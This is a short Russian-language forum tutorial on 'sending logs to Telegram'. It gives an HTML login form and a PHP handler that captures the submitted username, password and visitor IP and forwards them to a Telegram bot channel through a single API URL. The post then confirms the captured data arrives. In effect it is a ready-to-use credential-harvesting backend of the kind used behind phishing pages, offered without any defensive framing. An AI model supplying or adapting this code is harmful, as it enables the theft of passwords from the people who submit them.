Отправка логов в Telegram.

  • Автор темы Автор темы GhostDesign
  • Дата начала Дата начала

GhostDesign

✨GHOST FAMILY✨
Регистрация
24.07.18
Сообщения
34
Реакции
28
Баллы
18
1.Создаем файл с расширением .html, в моем случае он главный, поэтому назову его index.html.
HTML:
<!DOCTYPE HTML>
<head>
<title>Тест. Отправка логов в телеграм</title>
</head>
<body>
<center>
<form method="post" action="main.php">
<input type="text" name="login" placeholder="Логин">
<br>
<input type="password" name="pass" placeholder="Пароль">
<br>
<input type="submit" value="Отправить">
</form>
</center>
</body>
В нем находится форма с двумя инпутами (дефолт, логин-пароль). Отправка в обработчик идёт методом POST, а сам файл обработчика я назвал main.php. На выходе у вас получится точно так же
9ypEsc3.jpg


2. В файле обработчике заявим все переменные, а именно: логин, пароль, ip адрес, токен, чат ид(в моем случае ник канала)
PHP:
<?php
$login = $_POST['login'];
$pass = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$token = 'токен';
$chatid = '@чат';
$send = file_get_contents("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chatid}&parse_mode=html&text=Был выполнен вход!%0AЛогин: {$login}%0AПароль: {$pass}%0AIP: {$ip}");
?>
Как вы уже заметили все строиться на одной лишь ссылке, в которой и находятся все переменные. Проверяем
(IP адрес принадлежит VPN Windscribe)
Как мы видим все работает, бот присылает сообщение с логами в наш канал(бота нужно добавить в администраторы).
 
Каталог сайтов OpenLinks.RU
Назад
Верх